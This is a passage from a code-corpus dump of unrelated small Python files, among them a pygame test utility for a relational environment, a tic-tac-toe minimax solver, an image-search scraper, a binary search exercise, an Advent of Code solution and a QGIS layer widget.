to end.\n        \"\"\"\n        if reset:\n            self.reset()\n        if new_config:\n            self._env.reset()\n            n = np.random.randint(2, 5)\n            self._env.random_config(n)\n        # save init state list as query, make a graph out of it\n        g1 = self.get_graph()\n\n        pygame.init()\n        done = False\n        X = self._env.L\n        Y = self._env.L\n        framename = 'images/frame.jpg'\n        self._env.save_image(framename)\n        q_framename = 'images/q_frame.jpg'\n        self._env.save_image(q_framename)\n        display = pygame.display.set_mode((X, Y))\n        query_display = pygame.display.set_mode((X, Y))\n        pygame.display.set_caption('Playground')\n        query_display.fill((0, 0, 0))\n        query_display.blit(pygame.image.load(q_framename), (0, 0))\n        idx = 0\n        while not done:\n            display.fill((0, 0, 0))\n            display.blit(pygame.image.load(framename), (0, 0))\n            pygame.display.update()\n            events = pygame.event.get()\n            for event in events:\n                if event.type == pygame.KEYDOWN:\n                    if event.key == pygame.K_LEFT:\n                        self.move_shape(idx, 3)\n                    if event.key == pygame.K_RIGHT:\n                        self.move_shape(idx, 2)\n                    if event.key == pygame.K_UP:\n                        self.move_shape(idx, 0)\n                    if event.key == pygame.K_DOWN:\n                        self.move_shape(idx, 1)\n                    if event.key == pygame.K_SPACE:\n                        idx = (idx + 1) % len(self._env.objects)\n                        print(idx)\n                    if event.key == pygame.K_ESCAPE:\n                        done = True\n                    if event.key == pygame.K_RETURN:\n                        self.add_shape()\n                    if event.key == pygame.K_RSHIFT:\n                        g2 = self.get_graph()\n                        # evaluate model and print ouput in the terminal\n                        print(self.model(g1, g2))\n            self._env.save_image(framename)\n        pygame.quit()\n\n    def breaking_point_n(self, n_max, s):\n        \"\"\"\n        This evaluation metric samples, for each s, a random configuration for\n        the model, which is then run on this config.\n\n        We then add n_max objects (randomly sampled in the environment) and see\n        when the model prediction breaks. (The prediction should always be 1,\n        since the base config has not been moved).\n\n        We record the prediction of the model for the true and false classes\n        depending on the number of added objects.\n\n        We use 3 objects as benchmark (change this ?)\n        \"\"\"\n        falses = []\n        trues = []\n        for _ in range(s):\n            self._env.reset()\n            self._env.random_config(3)\n            g1 = self.get_graph()\n            false = []\n            true = []\n            for _ in range(n_max):\n                self._env.add_random_object()\n                g2 = self.get_graph()\n                pred = self.model(g1, g2)\n                false.append(pred[0, 0].detach().numpy())\n                true.append(pred[0, 1].detach().numpy())\n            falses.append(false)\n            trues.append(true)\n        return falses, trues\n\n    def model_heat_map(self, n, show=False, save=None):\n        \"\"\"\n        This function samples a random configuration and then explores what\n        happens to the model prediction when we vary the position of each of\n        the objects over the whole map.\n\n        n is the number of objects in the randomly sampled config.\n\n        Returns 2 * n heat maps of the value of each of the 2 components of the\n        model prediction as a function of one object's position.\n        \"\"\"\n        self._env.reset()\n        self._env.random_config(n)\n        g1 = self.get_graph()\n        s = self._env.to_state_list(norm=True)\n        maps = []\n        pos_idx = [env.N_SH+4, env.N_SH+5]\n        size = self._env.envsize * self._env.gridsize\n        # for state in s:\n        gq = merge_graphs([state_list_to_graph(s)] * size)\n        matlist = []\n        for state in s:\n            mem = state[pos_idx]\n            mat = np.zeros((0, size, 2))\n            for x in tqdm(range(size)):\n                glist = []\n                t = time.time()\n                for y in range(size):\n                    state[pos_idx] = np.array([x / self._env.gridsize,\n                                               y / self._env.gridsize])\n                    glist.append(state_list_to_graph(s))\n                gw = merge_graphs(glist)\n                pred = self.model(gq, gw).detach().numpy()\n                pred = np.expand_dims(pred, 0)\n                mat = np.concatenate((mat, pred), 0)\n            state[pos_idx] = mem\n            matlist.append(mat) # maybe change data format here\n            poslist = [state[pos_idx] * self._env.gridsize for state in s]\n        if show:\n            for i, (mat, pos) in enumerate(zip(matlist, poslist)):\n                fig, axs = plt.subplots(1, 2, constrained_layout=True)\n                fig.suptitle(\n                    'Scores as a function of the red object\\'s position')\n\n                axs[0].matshow(mat[..., 0])\n                axs[0].set_title('Score for the \"false\" class')\n                for j, pos in enumerate(poslist):\n                    if i == j:\n                        c = 'r'\n                    else:\n                        c = 'b'\n                    axs[0].scatter(pos[1], pos[0], color=c)\n\n                axs[1].set_title('Score for the \"true\" class')\n                axs[1].matshow(mat[..., 1])\n                for j, pos in enumerate(poslist):\n                    if i == j:\n                        c = 'r'\n                    else:\n                        c = 'b'\n                    axs[1].scatter(pos[1], pos[0], color=c)\n\n                plt.show()\n            plt.close()\n        return matlist, poslist\n","repo_name":"laetitia-teo/simple-relational-env","sub_path":"test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":8653,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"23829776111","text":"import random\nfrom random import *\n\n'''from tkinter import *\nfrom tkinter import ttk\nfrom tkinter.messagebox import *\nfrom tkinter.filedialog import *\nimport ctypes as ct\nclass main:\n    def __init__(self, master):\n        self.master=master\n        self.master = master\n        self.master.minsize(width=850, height=250)\n        self.master.title('Крестики-нолики')\n        self.master.geometry('1000x1024')\n        self.master.configure(bg='white',)\n        self.labelHeader=Label(self.master, text=\"Крестики-нолики\")\n        self.labelHeader.config(bg=\"#afafaf\", fg='white', font=('Arial', 100))\n        self.labelHeader.place(relx=0.5, rely=0.2, anchor=CENTER)\n        self.buttonStart=Button(self.master,text=\"Начать игру\", command=self.gameStart,font=('Arial', 24))\n        self.buttonStart.place(relx=0.5, rely=0.4, anchor=CENTER)\n        self.buttonStart.config(bg='#afafaf', fg='white',font=('Arial', 24))\n        self.labelChoose=Label(self.master,text=\"Выберите сторону:\")\n        self.labelChoose.place(relx=0.5, rely=0.5, anchor=CENTER)\n        self.labelChoose.config(bg='#afafaf', fg='white',font=('Arial', 24))\n        self.side = BooleanVar()\n        self.side.set(True)\n        self.radioX = Radiobutton(self.master, text=\"X\", variable=self.side, value=1, bg='#afafaf',font=('Arial', 24))\n        self.radioX.place(relx=0.47, rely=0.57, anchor=CENTER)\n        self.radioY = Radiobutton(self.master, text=\"O\", variable=self.side, value=0, bg='#afafaf',font=('Arial', 24))\n        self.radioY.place(relx=0.53, rely=0.57, anchor=CENTER)\n\n        self.buttonExit=Button(self.master, text=\"Выйти из игры\")\n        self.buttonExit.place(relx=0.5, rely=0.65, anchor=CENTER)\n        self.buttonExit.config(bg='#afafaf', fg='white',font=('Arial', 24))\n\n        self.master.mainloop()\n\n    def gameStart(self):\n        pass\nroot=Tk()\n''''''root.update()\nset_window_attribute = ct.windll.dwmapi.DwmSetWindowAttribute\nget_parent = ct.windll.user32.GetParent\nhwnd = get_parent(root.winfo_id())\nvalue = 2\nvalue = ct.c_int(value)\nset_window_attribute(hwnd, 20, ct.byref(value),\n                     4)''''''\nroot.configure(highlightcolor='#afafaf', highlightthickness=20)\nmain(root)'''\n\n'''class minimax:\n    def __init__(self):'''\n\n\nmain_board = []\n\n\ndef check_board(cur_board):\n    # print('check - ',end='')\n\n    for i in range(3):\n        if cur_board[i][0] != 'e':\n            j = 1\n            for j in range(1, 3):\n                if cur_board[i][j] != cur_board[i][j - 1]:\n                    j -= 1\n                    break\n            if j == 2:\n                # print('winner is {0}'.format(cur_board[i][j]))\n                return cur_board[i][j]\n\n    for i in range(3):\n        if cur_board[0][i] != 'e':\n            j = 1\n            for j in range(1, 3):\n                if cur_board[j][i] != cur_board[j-1][i]:\n                    j -= 1\n                    break\n            if j == 2:\n                # print('winner is {0}'.format(cur_board[j][i]))\n                return cur_board[j][i]\n\n    if cur_board[0][0] != 'e':\n        for i in range(1,3):\n            if cur_board[i][i] != cur_board[i-1][i-1]:\n                i -= 1\n                break\n            if i == 2:\n                # print('winner is {0}'.format(cur_board[i][i]))\n                return cur_board[i][i]\n\n    if cur_board[0][2] != 'e':\n        for i in range(1,3):\n            if cur_board[i][2-i] != cur_board[i-1][2-(i-1)]:\n                i -= 1\n                break\n            if i == 2:\n                # print('winner is {0}'.format(cur_board[i][2-i]))\n                return cur_board[i][2-i]\n\n    for i in range(3):\n        for j in range(3):\n            if cur_board[i][j] == 'e':\n                # print('playing')\n                return 'playing'\n    # print('draw')\n    return 'draw'\n\ndef build_board():\n    for i in range(3):\n        main_board.append([])\n        for j in range(3):\n            main_board[i].append('e')\n\n\ndef clear_board():\n    for i in range(3):\n        main_board.append([])\n        for j in range(3):\n            main_board[i][j]='e'\n\ndef random_board():\n    for i in range(3):\n        for j in range(3):\n            main_board[i][j] = 'e' if not randint(0,2) else 'X' if randint(0,1) else 'O'\n\n\ndef print_board(cur_board):\n    for i in range(3):\n        for j in range(3):\n            print(cur_board[i][j], end=' ')\n        print()\n\ndef state_id(cur_board, cur_turn):\n    ans = players[cur_turn]\n    for i in range(3):\n        for j in range(3):\n            ans+=cur_board[i][j]\n    return ans\n\nStates = {}\n\n\ndef preload_minimax(cur_board, cur_turn, depth):\n    cur_state = check_board(cur_board)\n    if cur_state == 'playing':\n        best_result = 0\n        results = []\n\n        if cur_turn:\n            best_result = 20\n        else:\n            best_result = -20\n\n        for i in range(3):\n            for j in range(3):\n                if cur_board[i][j] == 'e':\n                    cur_board[i][j] = players[cur_turn]\n\n\n                    result = preload_minimax(cur_board, cur_turn ^ 1, depth+1)\n                    # if depth == 1 and flag:\n                    #     print(cur_turn, best_result)\n                    #     print_board(cur_board)\n                    #     print('flag res=', result)\n                    #     print()\n                    cur_board[i][j] = 'e'\n\n                    if cur_turn:\n\n                        if result <= best_result:\n                            if result == best_result:\n                                results.append([i,j])\n                            else:\n                                results.clear()\n                                results.append([i,j])\n                                best_result = result\n                    else:\n                        if result >= best_result:\n                            if result == best_result:\n                                results.append([i,j])\n                            else:\n                                results.clear()\n                                results.append(\n                                    [i,j]\n                                )\n                                best_result = result\n\n        idx = state_id(cur_board, cur_turn)\n        States[idx] = results\n        return best_result\n\n    if cur_state == 'draw':\n        idx = state_id(cur_board, cur_turn)\n        States[idx] = []\n        return 0\n    if cur_state == 'X':\n        idx = state_id(cur_board, cur_turn)\n        States[idx] = []\n        return 10\n    if cur_state == 'O':\n        idx = state_id(cur_board, cur_turn)\n        States[idx] = []\n        return -10\n\ndef dinamic_minimax(cur_board, cur_turn, depth):\n    cur_state = check_board(cur_board)\n    if cur_state == 'playing':\n        best_result = 0\n        results = []\n        if cur_turn:\n            best_result = 20\n\n        else:\n            best_result = -20\n\n        for i in range(3):\n            for j in range(3):\n                if cur_board[i][j] == 'e':\n                    cur_board[i][j] = players[cur_turn]\n\n\n                    result = minimax(cur_board, cur_turn ^ 1, depth+1)\n                    # if depth == 1 and flag:\n                    #     print(cur_turn, best_result)\n                    #     print_board(cur_board)\n                    #     print('flag res=', result)\n                    #     print()\n                    cur_board[i][j] = 'e'\n\n                    if cur_turn:\n\n                        if result <= best_result:\n                            if result == best_result:\n                                results.append([i,j])\n                            else:\n                                results.clear()\n                                results.append([i,j])\n                                best_result = result\n                    else:\n                        if result >= best_result:\n                            if result == best_result:\n                                results.append([i,j])\n                            else:\n                                results.clear()\n                                results.append(\n                                    [i,j]\n                                )\n                                best_result = result\n        if depth == 0:\n            idx = randint(0,len(results)-1)\n            return results[idx][0], results[idx][1]\n        else:\n            return best_result\n\n    if cur_state == 'draw':\n        return 0\n    if cur_state == 'X':\n        return 10\n    if cur_state == 'O':\n        return -10\n\n\n\n\n\n# build_board()\n'''random_board()\nprint_board()\ncheck_board()\n'''\n# turn = 0\n# game = 1\n# players = ['X', 'O']\n# print('start')\n# counter = 0\n\n'''crbrd = [['e','e','e'],['e','e','e'],['e','e','e']]\ncrbrd = main_board\nx, y = minimax(crbrd,cur_turn=0,depth=0)\ncrbrd[x][y] = 'X'\nprint('ans')\nprint_board(crbrd)'''\n\n\n\n# while game:\n#     # print(counter+1)\n#     # print(players[turn], 'turn\\nbefore')\n#     # print_board(main_board)\n#\n#     if turn:\n#         '''while game:\n#             x=randint(0,2)\n#             y=randint(0,2)\n#             # x, y = input().split()\n#             x=int(x)\n#             y=int(y)\n#\n#             if(main_board[x][y]!='e'):\n#                 continue\n#             main_board[x][y] = players[turn]\n#             break'''\n#         x, y = dinamic_minimax(main_board, turn, 0)\n#         main_board[x][y] = players[turn]\n#     else:\n#         x, y = dinamic_minimax(main_board, turn, 0)\n#         main_board[x][y] = players[turn]\n#\n#     if check_board(main_board) != 'playing':\n#         res=check_board(main_board)\n#         print(res)\n#         clear_board()\n#         if(res=='O'):\n#             print(\"ERROR\")\n#     turn ^= 1\n# print_board(main_board)\ndef start_load():\n    print(len(States))\n    preload_minimax(main_board,0,0)\ndef half_load():\n    print(len(States))\n    preload_minimax(main_board,1,0)\n    fo=open(\"src/solve/solve.txt\",'w')\n    for i in States:\n        fo.write(str(i))\n        fo.write(' ')\n        fo.write(str(States[i]))\n        fo.write('\\n')\ndef load():\n    fi = open(\"src/solve/solve.txt\", 'r')\n    read = fi.read()\n    flag = 0\n\n    s = ''\n    key = ''\n    val_x = ''\n    val_y = ''\n    values = []\n    for i in read:\n        if i == ' ':\n            continue\n        elif i == '[':\n            if not flag:\n                key = s\n            flag+=1\n            s = ''\n        elif i == ']':\n            flag-=1\n            if flag:\n                val_y = s\n                # print(val_x, val_y)\n                values.append([int(val_x), int(val_y)])\n                s = ''\n        elif i == ',':\n            val_x = s\n            s = ''\n        elif i =='\\n':\n\n            States[key] = values\n\n            key = ''\n            s=''\n            values = []\n        else:\n            s+=i\n    print(len(read))\n# print('start')\n# k_games = 0\ndef play_game():\n    turn = 0\n    while True:\n        # print(counter+1)\n        print(players[turn], 'turn\\nbefore')\n        print_board(main_board)\n\n        if turn:\n            while game:\n                # x=randint(0,2)\n                # y=randint(0,2)\n                x, y = input().split()\n                x=int(x)\n                y=int(y)\n\n                if(main_board[x][y]!='e'):\n                    continue\n                main_board[x][y] = players[turn]\n                break\n            '''idx = state_id(main_board, turn)\n            move = randint(0, len(States[idx]) - 1)\n            x, y = States[idx][move][0], States[idx][move][1]\n            main_board[x][y] = players[turn]'''\n        else:\n            idx = state_id(main_board,turn)\n            move = randint(0, len(States[idx])-1)\n            x, y = States[idx][move][0], States[idx][move][1]\n            main_board[x][y] = players[turn]\n\n        if check_board(main_board) != 'playing':\n            res=check_board(main_board)\n            print(res)\n            clear_board()\n            if(res=='O'):\n                print(\"ERROR\")\n        turn ^= 1\nprint_board(main_board)\n'''\n0 0\n0 1\n0 2\n'''","repo_name":"IlliaSh1/Tic-Tac-Toe","sub_path":"src/solve/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":12030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"16370319964","text":"#create a list consists of all palindromic numbers between 100 and 1000\n#solution 1\nlist_no=list('0123456789')\n\npalindromic_s=[]\n\nno=''\n\nk=1\n\nfor j in range(9):\n    for i in list_no:\n        no+=list_no[k]\n        no+=i\n        no+=no[0]\n        palindromic_s+=[no]\n        no=''\n    k+=1\n\npalindromic_no=[]\n\nfor i in palindromic_s:\n    palindromic_no+=[int(i)]   # convert một string chứa ký tự số sang số int_no=int(no) (với no là string số)\n\nprint(palindromic_no)","repo_name":"monkeybuzinis/Python","sub_path":"8.More with lists/14(1).py","file_name":"14(1).py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"vi","doc_type":"code","stars":6,"dataset":"github-code","pt":"79"}
+{"seq_id":"8130992438","text":"#!/usr/local/bin/python3\n#_*_ coding: utf-8 _*__\n\nimport sys\nimport io\nimport os\nimport requests\nfrom bs4 import BeautifulSoup\nimport random\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer, \"UTF-8\")\n\nargs = sys.argv\n\n#引数チェック ファイル名を指定する\nif 2 > len(args):\n\tprint(\"引数が少なすぎます\")\n\texit(1)\n\nsearch_word = args[1]\n\nRes = requests.get(\"https://www.google.com/search?hl=jp&q=\" + search_word + \"&btnG=Google+Search&tbs=0&safe=off&tbm=isch\")\nHtml = Res.text\nSoup = BeautifulSoup(Html,'lxml')\nlinks = Soup.find_all(\"img\")\ni = 2\nflg = 0\nlength = len(links)\nstr = \"\"\nwhile(flg < 3):\n\tstr = links[i].get(\"src\")\n\tif str is not None:\n\t\tprint(str+\"<br>\")\n\t\tflg = flg + 1\n\ti = i + 1\n\tif i >= length:\n\t\texit()\n","repo_name":"dioh0922/ocr_relay_svr","sub_path":"get_sample_img_src.py","file_name":"get_sample_img_src.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"36562638088","text":"# This script deduplicates news items in the feed_articles.csv file\n\nimport pandas as pd\nimport datetime\n\n# Set current date/time of script run\ncurrentDT = datetime.datetime.now()\ncleanDate = currentDT.strftime(\"%Y-%m-%d %H:%M:%S\")\n \n# Dedupe the feed_articles.csv file in place with Pandas\ndf = pd.read_csv('feed-articles.csv',encoding = \"ISO-8859-1\")\ndf.drop_duplicates(subset=\"date\",inplace=True)\ndf.to_csv('feed-articles.csv', index=False)\n\n# Log the script running\nlog = open('feedlog.txt', 'a')\nlog.write(cleanDate + \" The feed-articles.csv file has been deduped.\\n\")\nlog.close()\n","repo_name":"caseycrowe/google-alerts-to-web","sub_path":"dedupe-feeds.py","file_name":"dedupe-feeds.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"79"}
+{"seq_id":"7325001355","text":"from random import randint\r\nimport sys\r\n\r\n# A = list()\r\n\r\n\r\n\r\ndef BinarySearch(A,k):\r\n    # A.sort()\r\n    # print(A)\r\n    l = 0\r\n    r = len(A)-1\r\n    # print(k,\"before while\")\r\n    while l <= r:\r\n        # print(l)\r\n        m = int((l+r)/2)\r\n        # print(m)\r\n        # print(A[m], m, k,\"outof\")\r\n        if A[m] == k:\r\n            # print(A[m],\"A[m]\")\r\n            # print(m)\r\n            # return m\r\n            # for 1 based indexation\r\n            return m+1\r\n        elif A[m] > k:\r\n            # print(\"bigger\")\r\n            r = m - 1\r\n            # print(r)\r\n        else:\r\n            # print(\"smaller\")\r\n            l = m + 1\r\n            # print(l)\r\n    # print(-1)\r\n    return -1\r\n\r\n\r\n#     A = [randint(0, 20) for p in range(0, 1000)]\r\n#     k = 10\r\n#     print(k)\r\n#     A_srt = A.sort()\r\n#     print(A_srt)\r\n#     ans = BinarySearch(A_srt, k)\r\n#     print(ans)\r\n\r\n\r\n\r\n\r\n\r\ndef main():\r\n\r\n    # A = list([randint(0, 20) for p in range(0, 1000)])\r\n\r\n\r\n    setup = list()\r\n    for line in sys.stdin:\r\n\r\n        setup.append(tuple(map(int, (line.split()))))\r\n\r\n\r\n    # print(setup)\r\n    # print(setup[0][1:])\r\n    # print(setup[1])\r\n    # print(\"test\")\r\n    # t_list = [1, 5, 8, 12, 13]\r\n    # k_list = [8, 1, 23, 1, 11]\r\n\r\n    t_list = list(setup[0][1:])\r\n    k_list = list(setup[1][1:])\r\n\r\n\r\n    # print(list(enumerate(t_list)))\r\n    # tup_list = list(enumerate(t_list))\r\n    # print(tup_list)\r\n    # tup_list = sorted(tup_list, key=lambda x: x[1])\r\n    # print(tup_list)\r\n    # t_list.sort()\r\n    # print(t_list)\r\n    ans_l = list()\r\n    # ans_orig_ix = list()\r\n\r\n\r\n    for i in range(0, len(k_list)):\r\n        # print(k_list[i])\r\n        test = k_list[i]\r\n        ans_l.append(BinarySearch(t_list, k_list[i]))\r\n        ans_l[i]\r\n        # print(BinarySearch(t_list, k_list[i]), k_list[i])\r\n        # ans_l.append(BinarySearch(t_list, setup[0][i]))\r\n        # print(BinarySearch(t_list, setup[0][i]), setup[0][i])\r\n    # print(setup[0])\r\n    # print(t_list)\r\n    print(' '.join(map(str, ans_l)))\r\n    # print(ans_l)\r\n    # print(tup_list)\r\n    # for i in range(0,len(ans_l)):\r\n    #     print(tup_list[i][0])\r\n        # ans_orig_ix.append(ans_l[i][0])\r\n    # print(ans_orig_ix)\r\n    # print(A[0])\r\n    # print(len(A))\r\n    # print(type(A))\r\n    # k = 15\r\n    # print(k)\r\n    # A_srt = list(A.sort())\r\n    # A_srt = sorted(A)\r\n    # print(type(A_srt))\r\n    # print(list(A_srt[0]))\r\n    # ans = BinarySearch(A_srt, k)\r\n\r\n    # print(ans,A_srt[ans] ,\"gep\")\r\n\r\n\r\n\r\n\r\n    #print(gcd(a, b))\r\n\r\nif __name__ == \"__main__\":\r\n    main()","repo_name":"odovgusha/Courses","sub_path":"python_proj/python_projects/algos_methods/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"19944291524","text":"import sys\n\n# Note that, this implementation does not move the number to the same absolute position\n# as the example on the AoC page. The relative position is still the same. I believe the\n# intention of the puzzle is that the absolute positioning does not matter, since the\n# puzzle answers only involves the relative positioning.\n#\n# My implementation works for the dataset in the big.in (5000 numbers), but it is O(n^2),\n# so it doesn't really scale, Lowering the complexity would require keeping track of the\n# numbers after they have been moved. But, it gets the job done, so I'll leave it at that :)\n# It is the only X-mas once a year, right?\n#\n# Initial arrangement:          length 7, list starts at index 0\n# 1, 2, -3, 3, -2, 0, 4\n#\n# 1 moves between 2 and -3:     move 1: old_index = 0\n# 2, -3, 3, -2, 0, 4            remove 1\n# 2, 1, -3, 3, -2, 0, 4         insert at index 1 = old_index + 1\n#\n# 2 moves between -3 and 3:     move 2: old_index = 0\n# 1, -3, 3, -2, 0, 4            remove 2\n# 1, -3, 2, 3, -2, 0, 4         insert at index 2 = old_index + 2\n#\n# -3 moves between -2 and 0:    move -3: old_index = 1\n# 1, 2, 3, -2, 0, 4             remove -3\n# 1, 2, 3, -2, -3, 0, 4         insert at 4 = (old_index - 3) % (length - 1) = -2 % 6\n#\n# 3 moves between 0 and 4:      move 3: old_index 2\n# 1, 2, -2, -3, 0, 4            remove 3\n# 1, 2, -2, -3, 0, 3, 4         insert at 5 = old_index + 3\n#\n# -2 moves between 4 and 1:     move -2: index 2\n# 1, 2, -3, 0, 3, 4             remove -2\n# -2, 1, 2, -3, 0, 3, 4         insert at 0 = old_index - 2\n#\n# As explaining above, the absolute positioning differs from the example on the AoC page.\n\ndef small():\n    # This only works when the numbers in the lists are unique as in the small set of numbers.\n    # So, it does not work for the big set of numbers.\n    numbers = list(map(int, open(\"small.in\").read().strip().split(\"\\n\")))\n    length = len(numbers)\n    for number in numbers.copy():\n        old_index = numbers.index(number)\n        new_index = (old_index + number) % (length - 1)\n        del numbers[old_index]\n        numbers.insert(new_index, number)\n    index = numbers.index(0)\n    result = sum([numbers[(index + x) % length] for x in [1000, 2000, 3000]])\n    print(\"small-part1:\", result)\n\ndef big(part2=False):\n    data = list(map(int, open(\"big.in\").read().strip().split(\"\\n\")))\n    length = len(data)\n    if part2:\n        data = list(map(lambda x: x * 811589153, data))\n    if data.count(0) != 1:\n        print(\"error in input\")\n        sys.exit(1)\n    # Attach a unique index to each number, so that we can find it after it has been moved\n    # [1, 2, -3, 3, -2, 0, 4] becomes [(0,1), (1,2), (2,-3), ...]\n    numbers = list(zip(range(length), data))\n    original_numbers = numbers.copy()\n    for _ in range(10 if part2 else 1):\n        for pair in original_numbers:\n            old_index = numbers.index(pair)\n            new_index = (old_index + pair[1]) % (length - 1)\n            del numbers[old_index]\n            numbers.insert(new_index, pair)\n    unzip = [ n for (_,n) in numbers ]\n    index = unzip.index(0)\n    result = sum([unzip[(index + x) % length] for x in [1000, 2000, 3000]])\n    print(\"big-part2:\" if part2 else \"big-part1:\", result)\n\nif __name__ == \"__main__\":\n    small()\n    big()\n    big(part2=True)\n\n# small-part1: 3\n# small-part2: 1623178306 (not implemented)\n# big-part1: 10763\n# big-part2: 4979911042808","repo_name":"peterholstandersen/adventofcode","sub_path":"2022/numbers20/numbers.py","file_name":"numbers.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"14210833593","text":"from PyQt4.Qt import QToolButton, QPushButton, QVBoxLayout\nfrom PyQt4.QtCore import Qt, SIGNAL\nfrom qgis.gui import QgsMapCanvas\n\n\nclass GAppLayerW(QgsMapCanvas):\n    def __init__(self, layer, rawLayer, linkedCanvas, dock):\n\n        # Canvas params\n        QgsMapCanvas.__init__(self, dock)\n        self.setCanvasColor(Qt.white)\n        self.setWheelAction(QgsMapCanvas.WheelZoom, factor=0)\n        self._dock = dock\n\n        # Add buttons\n        buttonWidth = self.width() / 2.5\n\n        self._buttonUp = QToolButton(self)\n        self._buttonUp.setArrowType(Qt.UpArrow)\n        self._buttonUp.setMaximumWidth(buttonWidth)\n        self._buttonUp.setVisible(False)\n        self._buttonUp.connect(self._buttonUp, SIGNAL(\"clicked()\"), self.moveUp)\n\n        self._buttonHide = QPushButton(\"Hide\")\n        self._buttonHide.setMaximumWidth(buttonWidth)\n        self._buttonHide.setVisible(False)\n        self._buttonHide.setFocusPolicy(Qt.NoFocus)\n        self._buttonHide.connect(self._buttonHide, SIGNAL(\"clicked()\"), self.toggleLayer)\n\n        self._buttonDown = QToolButton(self)\n        self._buttonDown.setArrowType(Qt.DownArrow)\n        self._buttonDown.setMaximumWidth(buttonWidth)\n        self._buttonDown.setVisible(False)\n        self._buttonDown.connect(self._buttonDown, SIGNAL(\"clicked()\"), self.moveDown)\n\n        self._layout = QVBoxLayout(self)\n        self._layout.setMargin(1)\n        self._layout.addWidget(self._buttonUp)\n        self._layout.addWidget(self._buttonHide)\n        self._layout.addWidget(self._buttonDown)\n\n        self._rawLayer = rawLayer\n\n        self._layer = layer\n        self.setLayerSet([layer])\n\n        self._linkedCanvas = linkedCanvas\n        self._extent = self._linkedCanvas.extent()\n\n        self.setExtent(self._extent)\n\n        self.setFocusPolicy(Qt.StrongFocus)\n        self._hidden = False\n\n    def toggleLayer(self):\n        if not self._hidden:\n            self._linkedCanvas.hideLayer(self._layer)\n            self._buttonHide.setText(\"Show\")\n            self._hidden = True\n        else:\n            self._linkedCanvas.showLayer(self._layer)\n            self._buttonHide.setText(\"Hide\")\n            self._hidden = False\n\n    def moveUp(self):\n        if not self._hidden:\n            self._linkedCanvas.moveLayerUp(self._layer)\n            self._dock.moveWidgetUp(self)\n\n    def moveDown(self):\n        if not self._hidden:\n            self._linkedCanvas.moveLayerDown(self._layer)\n            self._dock.moveWidgetDown(self)\n\n    def refreshExtent(self):\n        self._extent = self._linkedCanvas.extent()\n        self.zoomToFeatureExtent(self._extent)\n\n    def isCurrentLayer(self):\n        return self._linkedCanvas.currentLayer == self._rawLayer\n\n    def setAsCurrentLayer(self):\n        self._linkedCanvas.setCurrentLayer(self._rawLayer)\n\n    def focusInEvent(self, focusEvent):\n        self._buttonUp.setVisible(True)\n        self._buttonHide.setVisible(True)\n        self._buttonDown.setVisible(True)\n\n        # if not self.isCurrentLayer():\n        #     self.setAsCurrentLayer()\n\n        QgsMapCanvas.focusInEvent(self, focusEvent)\n\n    def focusOutEvent(self, focusEvent):\n        if not self._buttonHide.hasFocus():\n            self._buttonUp.setVisible(False)\n            self._buttonHide.setVisible(False)\n            self._buttonDown.setVisible(False)\n        QgsMapCanvas.focusOutEvent(self, focusEvent)\n\n    def keyPressEvent(self, keyEvent):\n        if keyEvent.key() == Qt.Key_Down:\n            self.moveDown()\n        elif keyEvent.key() == Qt.Key_Up:\n            self.moveUp()\n        elif keyEvent.key() == Qt.Key_H:\n            self.toggleLayer()\n\n    def keyPressed(self, keyEvent):\n        pass\n\n    def keyReleased(self, QKeyEvent):\n        pass\n\n    def keyReleaseEvent(self, QKeyEvent):\n        pass\n\n    def _getCanvas(self):\n        return self._canvas\n\n    canvas = property(_getCanvas)\n","repo_name":"johmedr/Geon","sub_path":"Geon/gui/_gui/GAppLayerW.py","file_name":"GAppLayerW.py","file_ext":"py","file_size_in_byte":3872,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"33357056636","text":"#!/usr/bin/python3\n#\n#  A Truly Awesome Program\n#       secret_code.py\n#\n#  by: Matthew Fowles\n#\n#\n\"A project to compile secret codes\"\n\n\n\ntext =  input(\"input your message: \");\nmessage = ''\n\n\nfor char in text :\n\tmessage += chr(ord(char) + 1)\n\nprint(message[::-1])","repo_name":"matthewfowles/python-course","sub_path":"secret_code.py","file_name":"secret_code.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"70687166016","text":"#!/usr/bin/python3\n\"\"\" describe a class Student \"\"\"\n\n\nclass Student:\n    \"\"\" The student class \"\"\"\n\n    def __init__(self, first_name, last_name, age):\n        self.first_name = first_name\n        self.last_name = last_name\n        self.age = age\n\n    def to_json(self, attrs=None):\n        \"\"\"return the desired attribute of an objects as dict\"\"\"\n        js = {}\n        if type(attrs) == list:\n            for i in attrs:\n                if i in self.__dict__.keys():\n                    js[i] = self.__dict__[i]\n            return (js)\n        return (self.__dict__)\n\n    def reload_from_json(self, json):\n        \"\"\"update an object with the content of json\"\"\"\n        for attr, val in json.items():\n            setattr(self, attr, val)\n","repo_name":"A-simpa/alx-higher_level_programming","sub_path":"0x0B-python-input_output/11-student.py","file_name":"11-student.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
